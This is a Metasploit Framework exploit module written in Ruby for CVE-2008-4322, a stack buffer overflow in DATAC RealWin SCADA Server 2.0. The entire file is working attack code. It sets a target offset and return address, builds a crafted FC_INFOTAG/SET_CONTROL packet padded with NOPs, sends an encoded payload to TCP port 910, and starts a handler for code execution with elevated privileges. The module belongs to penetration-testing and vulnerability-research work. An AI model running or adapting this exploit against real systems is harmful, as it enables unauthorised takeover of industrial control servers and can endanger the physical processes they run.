##
# $Id: realwin.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'DATAC RealWin SCADA Server Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in DATAC Control
International RealWin SCADA Server 2.0 (Build 6.0.10.37).
By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,
an attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2008-4322' ],
[ 'OSVDB', '48606' ],
[ 'BID', '31418' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 550,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Universal', { 'Offset' => 740, 'Ret' => 0x4001e2a9 } ], # Thanks Jacopo!
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 26 2008'))
register_options([Opt::RPORT(910)], self.class)
end
def exploit
connect
data = [0x67542310].pack('V')
data << [0x00000800].pack('V')
data << [0x000a77e3].pack('V')
data << [0x00040005].pack('V')
data << "\x00\x00"
data << make_nops(target['Offset'])
data << [target.ret].pack('V')
data << [0x00404040].pack('V')
data << payload.encoded
data << make_nops(1024)
print_status("Trying target #{target.name}...")
sock.get_once
sock.put(data)
handler
disconnect
end
end